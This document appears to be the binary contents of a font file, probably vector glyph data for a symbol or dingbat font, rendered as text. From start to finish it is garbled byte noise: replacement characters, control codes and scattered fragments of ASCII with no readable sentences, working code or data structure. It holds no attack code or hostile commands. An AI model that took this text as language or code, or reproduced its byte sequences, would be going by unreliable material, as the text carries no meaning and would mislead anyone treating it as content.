!5!533!!�$�P�-�#�j�V��������!!!!!���@��X��������!!3!!�$,�-�#�X��������!!!!!�$�@�#�X���������!5!!!!�$�@�#�j�k��������!!!!!�$�@�#�X����<j�5!35!<�y�j����<�l!!!���X��X������33���lU���TT�����!!�@��@lU���TT�������5!5!���������x�X�333x����	��	�����	!!!!��-��¬���Bx��	!!##xm�s������j��x���!!3!!xm�3�-�s�¬��j��B����	!5!5!5!��,��������>��X	5!###l���j���j��j��X�!5!!!5!��4l� �t,���>�������	3!!!�-��-��A���xj��	333!x����j��k���x���3!3!�������k�A����������	5!5!5!3,��,�������=��jX�	5!333����j�k��k�����X�5!35!3����̠��������=���3!!!!�-��-��	��A����Bx���333!!x�����s�	��	������x���	3!33!!�������-�sk�A���	��j��B����!5!5!5!3��,��,����������X�!5!333x�t�����j�k�	����X�5!3!5!33����t,������������	������!5!!5!�����4������B�����5!!###��s���j����j��j����	5!!5!3!!����t,�-�s��������j��B�����5!5!3!��,�-���X���A���j��5!333!�����j�k��k��������	5!5!333!����������X����k�A�����!5!5!5!3!!!!��,��,�-��-��������A����B����5!333!!###������s���j�k��k�����j��j����!!!!5!5!333!�-�s� �t,��������j��B��������k�A���43!!"��y��Y[�p��~|�����4&#!5!2[Y��x���p~|�������j��5!2653#xY[���j�~|q����j��!"&533!����[Yyj��q��|~���*m3YѲ�/�	Y�����*m#3*��/��	Y���*m#	#	3	3*����i������������S��jh5!|j�����3����?hj�5!h}j�����3����@��hl|X�����!�@���?h�l!h}X����!�@���@���l5!5!!5�i��j�V��V��333�P�P����?�@���l!!!�i��XV�V��#!#P@P����?�@�������	�����?!��?�����j!��j������!����k����!����@����!������!�������B!��B������!��	����F�!Z�	������!��	�����!�	����h�!|�	������!�	����*�!>�	������3��	����i���	�}�8m#'+/37;?53!5353!5353!5353!5353!5353!5353!5353!53�������������������������������������Z����6���������6����7����5����7����6������l#'+/37;?CGKOSW[_cgkosw53%5353535353535353%5353535353535353%5353535353535353%5353%5353%53�e����e��e����f����f��f����d����d��d��h�e�e�f�c�d�������!�����������������������!�����������������������!�����������������z�����������������
��m#A35#35#35#35#35#35#35#35#35#!#5#!5#!35#35#35#35!3h���̚�h���̚��̚�h���̚��̚�h���Ϛ��2��̙������Ϛ#�������������3���6������6������������B��	�B��F���	�Z��i�!}���@��i���	�}�����i�	������!!}}�	��@�@������&	�	�����!!!�������@�@����!!����������i���	�}�������&	�	�����!!!�}}������w!�N�<���w7!!!x�r�$��<���w3!254#!") ) x�����rVV���������V���������w&
	����w!%!5!5!5!5!5!5!5!5!5!�������N�<rnrjrkrkrj���w!'3#3#3#3#3#��nn�jj�jj�ll�jjN�<r� � � � ����w#'+/37;?CGKOSW[_cg35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#!xjjjjjjjjjj�llllllllll�jjjjjjjjjj�jjjjjjjjjj�nnnnnnnnnn���j��k��k��j��nj��k��k��j��nj��k��k��j��nj��k��k��j��nj��k��k��j��n��<���w!37353535353��4��B`���J�l����Т���N�<0��������J�jL���[�F�/��������w!%35535#5#5#57#35�Њ4��`�J�M�l����Ў�O�N�<r3��B`���J�l����ѡ�� ����w	!%)-27;?CGKPTX\afjos%35'7'#7'7'#7'7'7'#7'7'7'37'75#7'7'7'7'7'75'7'7'7'37'%75'7'37'!�$J#�B"L!MLF"ELU�ELF�#EKALE!U�KLL�KLL�LKL�J$K#tK"M�KEK�LKK�KLL�KKL�KEK�J"�KLK�KLL�JLL�$NK$E#�EKE�N$E��H$L#'"L �LE"EL�ELE��"EKALE!�KKL�KKL�LKL��$K#tL"J�LEL�KKL�KKK�LKK�KEK�LR"�KLK�KLJ�LLJ�$K�E"R�EKE�$E��<����7!��������%!!!M6��r�6�X����8%!!�;��H��8!!!Y�S�;�bd��rHD���w!DHN�<D���w%!!!�d��rH$��<��8%!!��o4��H��8!!!a��S��o4�bd��rH���w	bcN�<���w7!	�o�H��bc$n� �<����7	����������%!	���s����������w�N�����w7	xo��r�\����������7���s����-M�<r2���s���7Ň�s���-x6��r�2���s���w!h���N����w%!	!h������Ŗn�������%!h�s�����!!h�<�sk�X���w�b�<���w	�o����Hp�Hb�<��������������X����������������#6������������w	bc��b�������v	����|��bc���|���|b�������v	
�nn���6��5��bc��n����n�6��6b�������|
)7632#"'3276'&#"%632#"'��cccc��cccc���zzzz��zzzz��1����2�Ι���/�r99r�6r99q�̌GG�2�GG����XX��@�XXu�#\u"@��91��990	h������
����9%���-���|
3276'&#"%632#"'��pppq��qppp�~1����2�������@@��@@���XX��@�XX���|	'/7?G&'&'6767&'&'7%'676727"'64'7&"'62&47� *!)Q7-:*�(!&$�13-7C *!(P7-:*�')!* �*:-7�7n7(K�KL��7n7(K�K���,#� %0:# /]A*% ,#� %0:##,^:0% �:��4t4(G�GL��4t4(G�G���|
%/36%632#"'327&#"6767&'&61����2����&&&&�bbP�'''�g���XX��@�XX���
	�	qz��z�.�!�h	*	���|l���|
)73276'&#"32764'&#"7632#"'%632#"'��pppq��qpppZC"!"!DD!"!"�z===={{====�1����2�Ι������@@��@@�Ț''�'��F##F��F##���XX��@�XX���|
6%632#"'1����2�Ι������XX��@�XX���|%276'&#%632#"'hzz��zz��1����2�Ι���'G�2�G����XX��@�XX���|"3$%632#"'hzz��zz��1����2�Ι���G��̌G���XX��@�XX���|'&#"%632#"'Q�zzzz�z1����2�Ι����GG�����XX��@�XX���|3276%632#"'��zzzz���1����2�Ι�����GG�����XX��@�XX���|"3276!%632#"'hzz��zzzz����1����2�Ι���G��̌GG�����XX��@�XX���|"!%632#"'hzz��1����2�Ι���G�����XX��@�XX7���|"'$%63�����0��TX���X7���|2#8��2�Κ�|X��@�Z����(3267>54&'.#"!624�HI�347652�IH�637����J�347744�IH�426532���<�����(
67672"'327$%&#"!��zzzz��zzzz��1����2�Ι�������4�FG��΍FG�@�XX���XX��(�����(!#%&#")7632��Ι�����K�/�zzzz���`�XX����GG����3327$3!#"'&1����2���zzzz����XX�`����GG�7�|	%63"71��{y�`�X{G���7�|	2#'&#8��2{�{x|X����G7���	527638x{�{�ΚT{G����Z7���	"'$33�����{�y{TX�`��G�|0#'&"#%632ˡ�qppp��1����2�A@���_�XX����32763#"'$��pppq�Ι��������@@����XX�`���w�N�<���w�N�<���w!�N����w!�v�<��`/3267>54&'.#"467>32#"&'.H+(*h9;i)*,++(i::f+),H736�HI�256743�IH�426�<h)*,,*)i;9h*(+*)(i:I�235624�HI�447743����w%!!!h����$��<���w7!!!x�r�$��<���w7!!x��$��<���w7!!x�r�$��<���w%!!!!!���I����Ir�$� ��<���w4632#"&!	�N88NO88M��o�H��bcj8MM87NM��n� �<���w%!	h��H��bc$n� �<���w7!	����bc$n� �<����
327$'&#"%632#"'k�~������~��>����?������:���II�L�II��޸[[��"�[[���w
!!!!!!����I�I��N�<��� �����w
!%!!5!!!����I)�� N�<r�r������w
!%!!!!!����I���)� N�<r��J(����w
!!!!!!����I����IN�<��� �*���|
 6%632#"'!3276'&'1����2�����^]���T�zzzz��^]���XX��@�XX�
6~�r�~GG�2�6
�����|
 6%632#"'%676'&#"!1����2����j]^��zzzz����]^���XX��@�XX'
6�2�GG~�r�~6
����|
 6%632#"'!&'&#"6767!1����2�Ι�����]^�zzzz-]^��S���XX��@�XX)�΍6
!�~GG�q
6~����|
 6%632#"'32767!&'&'1����2�Ι�����zzzz���^]��^]���XX��@�XX)�΍GG~�#
6���~6
�O���w7!!x6��r��6������w	%!#6�����6r�<���w7!x6��r�$6�X�<a
o7!!!�*��r*�d��a
o7!a
���[!�%!!!!��rrr���r���[!�7!�r[r�����w%!	#6���$6�X�<	"��1"*2:AI3#''%#&'52#"'&5476!!'5%!!'53'5%3'5%3#'N<<�.�0���/�#��E
�7$�L�4����z��8hY/�6.�0�<<1��y1�1��2�+��K�O�1H�P�====�f^1� .�1\��5��"3263#!5276;'4?'4?26�
�G
!S?1��#R a})J̎5B ,>jBZ7="�-?33 #&'&+"'&#"/573;2?"#'57#&'#"#567635a)8�)kOkaKA-'�=
/�/G)���,Y��=	!H$/+�HDH)�+)	$.,f��YY��x�	!=Z��� Lx73&'37&'67&'67&'67'32654'&'7654&#"3672 $54767&'&47'&27632#"/#"?#"54?'&5432'&327632#"/#"?#"54?'&5432'&327632#"/#"?#"54?'&5430'&327632#"/#"?#"54?'&5432&5432&56327&5432'&327632#"/#"?#"54?'&5432'&327632#"/#"?#"54?'&5432PO�~	)�*+'��)+(@&'$�|����|e�?/A}]\�B-7���1SLoW���j��\vLLr%%,*#$
)*n$
%
+)$
#*+�						?	�'+&��()&�(+&p				��%
%
+)$
$*+�*EC*Z*,)-)-*,�%&%&�f���Б�fU 5HhfeefhH2�pu^�QFs���棥sKQ�G��4

4		22044	22	9






�		�L%('*�%)(*%)(*t				�144	22	0�r!2CTev��������+&'&54?6?6/&2#"/547672#"/547672#"'=47672#"/54762#"/54762#"'=4762#"/547672#"'=47672#"/54762#"/547672#"/547672#"/547672#"/5476l=.%G\&#-	Lj.�N
0d&K4i�
	
}
	
g

s


	�


&

�


�
	
�
	
�
	�


�
	�H�5-V"*<CZ+
]	__f
8A%\m$=F	!
�	"	�	"	�	!	��	!�	"
�	!	�	"	�	"
�M	"	�	#	�	

!
�	
"
:�3	!!%:���������������k��l���:�9	!!%7%%!!:������������0d	m��hd�����l��l����˿�@�8���	�	7%7&5476�9	�}�V&�7��A��6$�����8'^4?�
;��!2	7%7&547!#"54z�<���S#�N�1�DC�S"���="l.3��ED[:+��
&#"54$32 54. #"&54>2�����������-�.�������T<:U'EGE'D�N�������-ֈ�����<SS<&E$$E�
C"32654%"32654&%#"&54767654$ #"&4767&5432qOO98O��8PP88OO"F�cc�D>U]����\`CD�cb�F]W��W�ZA@ZZ@AZZA@[[@AZKPrq��qrPGe���ޝ�dMP䠠�P
}��2��ٛ���k
A4&#"26%4&#"326#"547&'&4632 $54'&'&4632XP79NNqO�.N97OO79N'������]E�ac�DC_\�n�\U>D�bc�EXFDbbDEaaEEaaEDaa�+�G詄U��USj���멏i	LV��V�6��"32654&7#"32?��ɏ��Ǿ������/�`T�cȐ��Ɏ��;��P��1�2�Y.��1"264&"3264#"54327&5432#"'&'@Kjj�jiO�iiLKi���rq��rtP��ss��rqQܩ��Z����Td�������IU������������)5AMYdp{�����3/&76'!'47653!476=332654&#"#"&54632'#"&54632#"&54632&'&676&'&676'.7>'.76$6&'&%6&'&6>'.>'.f<��;�.=+��,>/�;���Ky��z~LZ|WX{{XX{IE11EE11ETm




�


��
;��
R��



�


����s@dd@s���}��>}=/N�n��N/=}>�@��������MllMNkk����&%�I%
%
"!$#�"!"�!!��
&

%�%&��%-5AMYdp|�����5#!4'&'5#2#"&546"264&"264"2647>'.7>'.%676&'&>&'&7>'.%7>'.676&'&676&'&753!476=3''676%27/&76'77&'&/#?6'&7�liil�Yz{XW|{�bEEbEd�


�


��

8��
@�


�


.Hxt��txH�%?%5�E$��6
6��$D�5%?%-5!!�1(����~(1�  5,4t4(4��N�4(4t4;���������h�hh��%%�#%%�$%�_$$�!"�!$!/!!�!"��$$�$%�:-,G��t�G,-:�
XL���RqqR���LX
![$n��[ii[��n$[!ob!!'!t��KZ��G��kc��n"!!'!##&+572367676h��Nn_5�,S	G�rj3#-EmD��J��~o.(���*!�4\tR~�U�L�!!'!		##'	���CI3�Z
>��<����<����5�D��CX��<���<��;
�YD36273	##'5&<+Z��@\����\D��C��	�Z���Y��\���5#,5>~3+&=4%3+&=4%3+&=43+&=4%3+&=43+&=43+&=4%33 #&'&+"'&#"/573;2?"#'57#&'#"#567635@)�A({@(�@){A)�A(@A(�^)4�
'iOj_J@,&�<
/�/F(���0�'��&��&��'ܐ'J�&��(lN��5		>!	)&�V?<?$�&$ '&Z��N	N��	/>Eqw�!674#!!6?676'4#'323276767654#3#&'&'&6%67!672!&=75$/563&43!32+'!67#>54&53�*��,�
3)="(&)09$)
L&T�E`
MP�A�[M�H
�Y����$
;��&&e=O%/�N��
,8(.�7L1R���f~H8SQ,zH%9D6
)jGP@�4�Rjd��_*Kfs�D�IR		
9!
O
�-]��&C+�/<Ug@A5O!+G8��	!'	!n�?��B�Z9�6�\�w��L��5�_�K/��		!'7l�B��D��w��D�&��B'&54763263276#"'&/#6#"'&'&6&'&547676R�8CCBC,G*
E��h]6
e;,0Q:�nH��;P0+	;e
6\i~�TZW4XX\"g^�R) 
56.'_E!
S���B�S
!E_'.75
 )/��t9>3#"'43727&'#"$472776725676&5&�U8��)$
tJ.;	�d3f��,"3'
VD
(� GL/7;;,g�t^F$�<
�LD&?>�X4R�
!/# I
?�� P?D!)M��v>�/�z2!"&54676737#&'&54>;7#"&546767!7!"&54>3!6763!2h��!.)g$'��30��!/&j
! /:(/	)/
9)/
	9)0:*0�z2463!2!2#!!+32#3#i9/ !j&/!��03��&$g).!);0)9	

/)9
/*	/(:�!!C4&#!"!&3!!"3!#";#"3&'6737#&'6737!"'67!7!"'63!67!2e;'��+�pCCo
��CC��CC�2CCKK<�LL��KK%��JJ�60"2=2�).=<==<@=:>=;TTUSUTUT83$�Q�E�!D72654'6#"'4#"'54#"'54#"'675674767#%�$4:JILLHOKHLKIhghgighgD>-��sJ1 b6'SS�
cRR��	�SS�?SS\\K�\\�;\\���]]��!A��*>K�� !C!254+'3254+'!254#!'!254!&#!"0!463!!2!!#!3#3lCC2�CC��CC��
oCC�p+��'q��=2"06�KJ��%LK��LL�<L2;=>:=@<==<=.)�g�%27TTTUST����E�!C32=732=7325732'654&#'%2&'&5&'5&'�IKLHKOHLLIJ:4$��N->Dghgighgh�SS=�SS�	��SSb
�SS'6a!0J)K>*��B ��\\���]]:�]]�J]]����O�������������������!%)-1523656;2#'7+"/#"'+"5&54775'"'5476;25'7&567635&56;374765'75'76=4'&+ '"'4!#"'&36365&5&#%#754'&5&&547'5367&7+&'&'735&2?"5775537'7'3533553535'32767&5%2?&#%55'575775775u�o,Mz"060D�/�5I:2'5�:��6�&"*:D:��S46$.e	Q�N��5


u4MDa�
6�bU��P+
,H;`�I23��N5(��

(#I0�M��
'^5%�#��!:X+�	"*
�����6W}W:�uW4
5v�T
�&	/H�3V���XD9\SL+&31.d+%X!Q
$2``KPPPG[6%#

Qy-6[[3GK[��O��`_A[-)$t7�
L-$
L6=�"	(�CJ#�R"�0�
:�~GB{~E�oj<4S[�ZaLC5�)
.U%+Z&)��͢�7e�<ILAaMoK33K@G6$$(&(''&1/----2)((-((d.'-T?OK8T$!T3�(-<((')))())(	����&2%2#"'&=477654'#"'5473�t\*e��	O�@U�C�Xq�	P	�S.	PӍMO�b��>Y�aYƮ58�l7P �P@��$0<FX + &=%6&#"3 6=%&#"';27!54767%!&'&'2+"'&=476^7�\�������P�����g㑵�H����r�'.)%�s�M����
M��#�f��C-7!%A.; �ӎ����w:���k�K���qz�
��+H*��G�;M
�

��tu�/&((A�A&:+C;."�/	8Pi>'67&&&'6.7#"'&'#"'676'773.#'6'5676&&5476'&'67&&�07	^<1x,B�5��@2JV�Mv!#uA+UBDX[f�*;-10)..C,��sB#HKU�	�P�]12�<0��VQ��}%'H�6-T}^�$k7
R��2'�7f!�A�\;y?1!50BEt�"!zkQ;0�qu0\�o�i:5oP��ZjsXFa�PJ�Gl;4ejN���^1F[q���������������7&&'7'6&'$#&7'&#"'5&767#&''5$'67'6'6'5$'67'656&'67&'6'&'''5$7676'&&'6'63&7"7&'7&'7&'7&'6'6%676767&77&77&''5&"'6%35&'.54>23#67#&8	p
+WDTc'H��@���XO`= �
�;*)8 kD��v/P��k-JKD��hGa�
	D�`��gBD���6��DDD���=3dTDW,	��:g����j)Y�i#'WtI-9w18$^8;./7-�I)jS)'#i\-IM91D;8%a7/.�D=u�RNBR&'%QBNR�q� d2
D
s9�8C ["�|44&3,'2^3�RT(B?#'9C-
!y�~#Z10>N?$%�Y4)%FN?
({�usis< 
3(&^T05<>7;,#4[:O(vAfG�EtY�B
z^~4j
#,;b:['~Av@~E�Q�
B�ak4~_���H#�T2
$$$$
2T�"`��q�$&'6&'67327&#!65#&3�jjdn�h
��w������W��V�����ݱ��qZre����[c��7������7	cy��X� ,35'533#3!'#'5!5!5#53!5!5#!!�ʶ�~~
��b������l�v�F��F��A<<3ff�X��苜�������q�X����GccGap 3264&#!2+73	#'#5#	3m�`hh`��2���������`�Ĉѳh���|�;v�v��ʷ�������}�����f���33#!!#'!'57!5#'5735���6�����4�����p���z�p��7�d+!#!573#'5!3!'573!#'73!#'5�Ix�OO�Tx����SVV��dY�\y��v�VPP�vIy�Y�',32#' 37+ &5%6323'#57'53m�����Jl{�~m@+�ݼh4��1��4��4��'�0����>,_
��v�N�k�n�mm�n��Obs32732753"'#"'432364'5;+"'#"'53275'&'&54?5572'#&'&547634%476='�4&#68$$B
�)�Z��>&A�_;i88u-o1bFGfQ�_��M5mw�L�bkj��I,K��=''8 0##Rm4	�ڹ+����ܴ5!PP"4\=��ѻ�������"8Q�ý�<�WTڦ9[��&��BC��(�g��j[T_g2#27654'73&#"#'&'#"56='"'46'4#"4735#5&547/63654'%654i=Ku/3�no�|s׉nI3n';6WN`fI�:%
�+Kk��s�:om��P�|@R/%S <�[Er*JKN�ZEnv���i����)�%*6&�-�Cl67jG�V�"6;�%�
2֙p��+nEU��_rB�(�Ea�LtD:�j[~^9���"22#'#"'#&'663327'#&'756=4'&+"6���xd�q����s��[�y�W���e�6�o`Oa�!����y�s�`M�k{eK[�ef
���Om�Y<0}��!432#"767	654'Y�Y����x_P��툋�K����\Y��Q�Z����W�_�b�����Y��X������(432654#">32#"&546324&"26%#"5432i�tv�������xs�q1"00" 0��/B//B/#������a��`ir��|�H�����!//!"00""00"!/0 ���_��b��
��#>DJPV\bhn27654'&#"&7367'67675673#''5&'&'7&'%67'7&'67'%7&'&'%6767%&'�&$h%$%%34$&�1++XSAN@`�==�k>P
CRX++XYC
P>k�==�l?L
?Q�	oL+ �Nn���;P�?���;�@
��
nM���Nn�3%%%%34%&&%s==�`?J>PW,,WW?K?_�==�f?H?PW,,WU?H?^���<��=���Ke+cL�� 
mC��P`k�<��<!��4(0847632#"'&7327654#"&#%#&7&'67&'67!���󫪪���v����������Ӥ=65N'V[S�.U[R�󫬬��񫪪�񿉊��������
���ʯX[V[X[V[!��4(0847632#"'&7327654#"73$3&'67&'67!���󫪪���v����������Ѧ=6��3QNV[S�.U[R�󫬬��񫪪�񿉊�������w	��
�'X[V[X[V[!��4!)47632#"'&%#$''&'6%&'6!���󫪪���4>;D@KDzcngk�?dnhk�󫬬��񫪪��I�
�kpinipi
!��4"*2:AIX3#''%#&'52#"'&5476!!'5%!!'53'5%3'5%3#'32765'&#"M==�,�/���0�#��H
�8&�O�6��	��|��7iY0�6.�/�==e6a&i1r4��z0�1��2�+��K�N�2H�Q�>>>>�f^2�"/�1]���8`1"Y
4f2y�5�+ +"'5$76%&'547327676=&#;�h�z��0/O{����[�(��*T��Q��������~�`N����O
=��t�R��[\	8d�<�+% &56;2'5$%75#"3��v��h���0.P��~�N�^�(�8P,V��RZ��y���cO����p�O
>����S��\^	���f��`�1B7#5#53'&'&54767&'&=33676=3#327654'&O&"}|f���z���g}}"&&"}�UQn$mQU�}"�$nQUVV{xVVUQ<"{��u^�^��\�
_u��{"#|�
zUOOUz
�|#YOT{zQPPQz{TO���@>)4'&#"3276&5476327#'#53'&�`_��__���_`�o����Š��q�������k�]^^]���YY���ň����Áh�g��f����@>'"3276'&'7#5373'#"'&5476j�__���_``_�����ߓq����Ŋ��q�YX��]]XY��f��h�h��Ĉ����Áj��0
'&'&376&+"'&5'476%7!�Z{z[ZZ[~\Y���������W��m�p��N#ZX[�[YZ[��P�������Qm��p#��T��G*��52764'&#"#463233#!5�sPQPPtrQP��yzg֏��LQQ�QPPQr��{{��t��|g��*#�"#53533#632#47654&#"#dd���i��qq��CB�igII�u������gzy�U�r}ppDt�PQs�_C��S
7"27654'&7#"&54767##53#533333#3##h.  @\ !  2(>>?ZW~>'3���|�}}���! -/@  /- !^'?XY??~YX?(F��}R}��h��h}��}hL��S<#5#535&'&'5'73'3#'73'676=35'73'13�|���e{vw}wwUATwx|xxS@Wwx}vv|d����|re{�Eus~~suE|VAKtrrt��@X{Ius~~suI�{dr|�*��! #!!!'!27674'&#��_�82��V�)�3{D�#M��HZ�W��{s{�?zK�8�! %#"#&5463 67!2#6#";�z\)MaBuh__itBaM(]y�
���t�t��[+##+��t�t��\��5����."264&'67>3"#"&54767&'&#52hq��៝rd:BJ|�^�d#!p⡠�q $c�]��7A;����{26��X�Y
"z����z"YX��62��&'5 %$ 56?6'.��j�������拈|����*xIIz'��&|JJx,	F42�$8"3264,'5'&54632264&"&$#"&547>ȜmmNMm�����}��	l�yz�U<�Mnn�nm�+}�7	l�yz�U<��|�||��,&(uO#e�����aHG�|�||�|Q'(sO#e���‹�`IH=���!
<>'.463227#"&5454&#"&'&5476766&D�9�BB8�Ğ���v?W:pbW~��tp�) "-ff�)-gtpQ@3�AA:�ACj��›��G�mN?ijb���v��r56W�Ge((Wi0154d)-?�/���6?2>32>32#&'567'6'#4&&#4'3>64&"�-S�5,9"\0+F��gv!4u|�W")^,k
ikdS��!e�b[����_[���H�|NYC������:�R���HB��=�G��`�S��n�U�|�#!!!53&54632!!5#67654&"U'����t�0����0�Z
=y�y=
:�]�Zs���sZ��Jjk��kjJ2�f��4%353'5#"'&''#&&#4'3>32>32YE;<��<�-!&Y*dx
cf_Oz.*O�2)7�Ze`��`b<`�����W���u��A�L��h`������8��!5!1##'!5!�_dr�r��Pk�^K{U������_W�{��'/27632#"'#576&#"4'5267>327&'"2XCZ�d}uud$gq�~dV)40��tlx�!&%"dLk��}�:��Uw�m��a4
��s���O��HK{��w��Y@x� A63276327632&"'&#"'&#'6327627632&#"'&#"'&#'Y�R 	#{=('%{XNCEz>O&z>'(#�&�R
#{=O&{YNCEz>'(%{=('#�&��ee22ee�$�l66kd23d�EP�dd33dd�$�l76kd34e�E^s#!5!37!!'���
������������L���3�4���(�����(C�� $Td67&'&"!3!67>54.#"!5&'.54>325467675#53533#63232>54.#"3'8xpA?9l9>@q<;9'��D�} 5RT�P=:

SSPSS
;<P�TR4 �X#""#�! >r>>pp>>r> !�A���%
)�RS�Q1
)6BB6)
1Q�SR�)
��p  ""V{zHNRh|���&'4>32"'4>32&'4>32&54>32&54>32#!5!'!567>54.#"32367>4.#"323732>4.#"327>54.#"732>54.#"�I	)),�(?)(#�!3()3�$))BG�!((
K{�mg���,��;��h�
IXI
��L$
�P	
H''1�|G''#��s%'')��7$ ''A��� ''H���T�ݬ9.�%~~ ��rF��)��~�� wpa!'-23353#3!53573#'5#5335!75!!5'57!���ePPe�eQQe�D�p�H�>H@�A�����~���}��}���~����00mrTTr��eppe-��!����7CQ^&54767&'&'5676767&'&54>32!535#5##3654."!2>4.#"�	1""#@%@#!@%
?$##0	���܍�a���1%?E?%4���,/--+D,/1+4;AB<>"	 "#>"">#" "><BA;3 +10,��KfYeeYf��%<#@""@#4-��/0++0+�A�*3V6&7!&54$''&'6'67.76;+"'5#"=6&'76767%25#6&'*I} �%��
GI.%�#qJ';
T,�N#8:!�>#10$ITNnVB,��	��n ?%#Naji���-/��4^t&A�Ycgb�3%'��+((NV8OQĿ>:<u�y�g**�5
k<X>�5h
P[32>4.#"732>54.#"!5&546767&'&546767&'&4>32'&'.#"�+L)+L*+M)(LH
��>	|n @:!:;!
8An}	E04�`a�30�TL**LTM((��
++x�:8>>q?9  9?q>>8:�x++c^UZbbZU^j��g% $Tdhy�47&'&";67>54.#"!5&'.54>325467675#53533#63232>54.#"!57#&'.54>3234'67632#7$5oh<:5�d�4:;i865%����1MN�J96	MMJMM	68J�NM0�v    +�0��
+/0U-,,�+,.T1/,
��9j9:h

h:9j9�a���	&�LM�K-
'2==2'
-K�ML�&	��1  �����V//X//X//V6��HLP&'4>32"'4>32&'4>32&54>32&54>32#!5!5!�M
,,.�*C,+%�#7+,7�%,+	FK�#++P��D���N��AM**4�d;K))$���'**,�dY&"**E
���#**L���:ƥ??�@@�=�%)5!5!3353#3!53573#'5#5335!m��D�����^JJ^�W^KK^׋���LL��ZZ,}}�uz�%yu��u{�{u�}��--���4@4767&'&'5676767&'&54>32!&7535#5##3�	1!!#?%?#!?%
>$""/	��_���1+4:AA<=" !#=""=#! "=<AA:3+1/+��H+�eXeeXegj ".7=6&73#!&54'''7&'6'676&7;2547#";65'"3�6GJK&�'��n=lR]*^dW*W	>![1�=%T e	>6�.HC'L"�'G�
���12�h��[FH�`[$%ok�+*8�d
.�N�c�v[�.7&546767&'&546767&'&4>32	�w "E>
#@!!?%
=E!w�
./��@=CDz"E>"">E"zDC=
@�/.��QO##"'##565'##"/547?kM�� �,4N"D�F &Fi�?�JO���/FB!�O�
�{|�Im�<&��=���M2227632#&547636=4'&#"#4'&#"=�`
]��d���2�
c�B����U�;/�G;S��XM�B:��@B
ս�;7h���f%��
���#>�|�\��@���9��@O
	&&5	i�C�n:�^����O����	G
 ���%�2��O7236;2"'##'65##"'&5476;235&'&=476j�S
c1=E�O� ;�SC�FRʝT�6*F@E1�;O�+.`�1�62�V
���Yi�8/�D
;8[B�V�RP"<B+"'##565#+"'&575477;2732;276=4'&3&'"ih;F�(wQ"D�G".FW�C��Nf��By"
bO�DUq5��u4
P���ro�@
��|�S`�64��'<���kn�,�:y�!���@JD��O2367632#&5476;�_#KYo�h��M�2��EO�L)�XY�D<�6���f%��@O	&47i�9�)
�2\O��E��[r1��V2`g26;2"'##'65##"'&5476;2&'5476&+"3276733276=4/#"567654'&#"35&5m�V^2"�L
�<�TC�FR˝U�7* 2Q�;Ƌ
Xa�2p2@�^
DJ��F
�,aXj�-!�D�2V�9/m��.0�R
���Zj�9/�C
\� �V�
�7yM�5bom�&#�'p[?$�G���OQ.��,H3#&'&'&6%3#&'&'&63#&'&'&6 $&54673 >4'&'~v��'�w��(�w�
�'
�$�������k=F��
��F>jG3~Pjb��^*Ier�N�{���̑?q��JA�e�}Ωv6\~��x(�ON�PP�NO�(!8?�|EE|�?8!r!_�3#"/4?23D�-!��]U��F�+}{<��!/�3#'654'&'#"547326R��s9�W�5��[S�%3;B��[/OBC'��*�|<�j�_g�#"=4?2%#"=4?2���3ɧ%QM���?ˠ)TK���7�(�w7џ��5�s ?�|�O"'4723!#"5472!5���YA�>���RHI�O���q1 �ӫ�g
4���D%��3363'$6'"I+�����4��p��u��oS����^��* �
3%#'#3%#�';&��2
��I���ʗH�����j7*��(,377#'#'547#5773%%�,ppsr,��'zzxz'�����9�8��4�?�����/9�9e5�>�:�����_`��qE#&#"'5654'5673;54'56732733273+&##&"#&'565*��G1	VV2I��s3'{'3s��I1VV	0G��s3'{'3s�P3+1='3s��H1WW1H��s3'=1+3P���H2WW2H�.���
;G7567&'&'3#6737'#&'7#&'6735'67#3335#5�*)S�R))��&*&';((:'&)'ȶkk��n\\[[nȶ	kk	��n[[\\n`ff/ee.((&(;((:(&((@))S��S**�n\][[o���
jj
�|o[\\\n��
jj
�e�(��P(�/���N#.6CMhw����!2732!'5675&'&=32#&'567637&/7&+"+&'532?4/%32#'#&'&=4?#'57335'3!273+#&='#"/547354;2?!&=35-,;K���>�#WU*��y"њ�HV
�ηz/;@"�q=o	�)we)$I���Y'L��ALaXw�H� ���>�X%C�II�$P���C/D�N6g+�
 �
b%�
��#���	�
�j�nN�
� :3��O+5{bQ�<
,��d-
��	��X�]�
���f	'^	��J�JA!�<
�8
2E35733!&54?'7'7!!"'&%#'73676'77'7'&'676�}��]}���� =-�-HW(��7*!>�y���*1�c���{F=.�,H-.'�d�(#Y+G��C�8957jN�})%%tGl5nm3(,H:��0/(_ki�N}!N�920K	�1DW3!5>7>54&#"5>32&54?'7'7!!"'&%#'73676/77'7'&'676@�.�#5*"I?6O"[m"
c��<,�+GU ��5) �<|w���)/�a���yD<,�+G,,&�a�(!>B<#q'%NG91 	M�7835hL�{'$$qEh3kj2'+G�8��/.&Hgh�L{ L�8*/D
�*(=Pc#"&'532654&+532654&#"5>32&54?'7'7!!"'&%#'73676/77'7'&'676�D|q%N24H'CB=9PS3464E>6O#]o<�k <-�,GV$��6)"�=~x���*0�b���zE<.�+G--&�b�)"�<+BI

N
$% $B
G	@6%6��7946iM�|($%sEi4mk3(,G�9��0.'Sii�M{!M�8//$�d
"5H333##5!5&54?'7'7!!"'&%#'73676'77'7'&'676����\\x���"@/�.K[5��9+#9A�����,3�g����J@0�.K00(�h�+$w�,��HmmI��;<79oQ��+&'yJp7sq5*/K<��22)�oo�Q�"R��;@2>	�32EX!#"632#"&'532654&#"&54?'7'7!!"'&%#'73676'77'7'&'676�H�$evyn$L27C'<CC<;2�� =-�-HW'��7)"	>�y���*1�c���{F=.�,H-.&�c�)"�ERUHHS
S
/(*.	��8956jN�~(%%tGk5nm3(,H:��00'\ji�N}!N�91/K�	"7J]"3264&7.#"632#"&54632&54?'7'7!!"'&%#'73676/77'7'&'676]'00'*//l+2>AB(S`dT^dyg7��<,�+GU ��5) �<|w���)/�a���yD<,�+G,,&�a�(!�.T--T.�H
D&RECSukf{��7835hL�{(#$qEi4lj2'+G�8��/.&Hhg�Lz L�8*.-�X.A!#!&54?'7'7!!"'&%#'73676'77'7'&'676���n�����!?/�.JY0��8+"(@�}���,2�f���H?/�-J.0'�f�*#�&�K��:;68nP��*%'wIn7rp5).J<��21(vmm�Q�"P��;:1-�K':7&54?'7'7!!"'&%#'73676'77'7'&'676N!?/�.JY0��8+"(@�}���,2�f���H?/�-J.0'�f�*#�:<68mP��*&&wHn7qp5	).J;��11)wnl�P�!P��;;19���9'9HR!273!567&#2&'676+&'67'#'6765'533!273+#/#"/47$,7Jv��I�
